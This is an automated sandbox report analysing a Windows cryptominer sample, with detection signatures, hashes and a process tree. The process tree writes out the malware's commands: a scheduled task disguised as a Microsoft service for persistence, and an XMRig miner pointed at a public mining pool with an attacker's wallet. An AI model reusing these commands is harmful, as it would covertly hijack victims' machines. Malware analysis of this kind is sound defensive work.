Analysis
- max time kernel
150s - max time network
145s - platform
windows7_x64 - resource
win7v20201028 - submitted
23/02/2021, 08:46
General
- Target SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe
- Size 2.6MB
- Sample210223-24p82e6m2e
- SHA256 8291db6ed7f2be2e014d6ad586a2fa2021c6f59334416e1042ed88edea137d0b
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
- XMRig Miner Payload 1 IoCs
- Executes dropped EXE 3 IoCs
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Loads dropped DLL 1 IoCs
- themida 4 IoCs
Detects Themida, Advanced Windows software protection system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe"1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe"C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 86LLU8UNnfBa4iC8YD4QVkZ6ugHRr6zdnfNE84LiyC9DdZtrc2UW5qnRPKcf9E68Wh2syN7zLiN8GEzT1S6PfZsiNuM8Q5j./ --donate-level=12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskeng.exetaskeng.exe {484FA1AE-9F4A-4A59-B264-C1F3DFE6A577} S-1-5-21-293278959-2699126792-324916226-1000:TUICJFPF\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeC:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe"C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 86LLU8UNnfBa4iC8YD4QVkZ6ugHRr6zdnfNE84LiyC9DdZtrc2UW5qnRPKcf9E68Wh2syN7zLiN8GEzT1S6PfZsiNuM8Q5j./ --donate-level=13⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1060-21-0x0000000074480000-0x0000000074B6E000-memory.dmp
memory/1060-24-0x00000000053D0000-0x00000000053D1000-memory.dmp
memory/1060-22-0x00000000010F0000-0x00000000010F1000-memory.dmp
memory/1340-8-0x00000000056B0000-0x00000000056B1000-memory.dmp
memory/1340-2-0x0000000076691000-0x0000000076693000-memory.dmp
memory/1340-5-0x0000000001050000-0x0000000001051000-memory.dmp
memory/1340-4-0x0000000074480000-0x0000000074B6E000-memory.dmp
memory/1800-15-0x00000000006B0000-0x00000000006D0000-memory.dmp
memory/1800-14-0x0000000000690000-0x00000000006B0000-memory.dmp
memory/1800-13-0x000000013F2E0000-0x0000000140498000-memory.dmp
memory/1800-12-0x00000000002F0000-0x0000000000304000-memory.dmp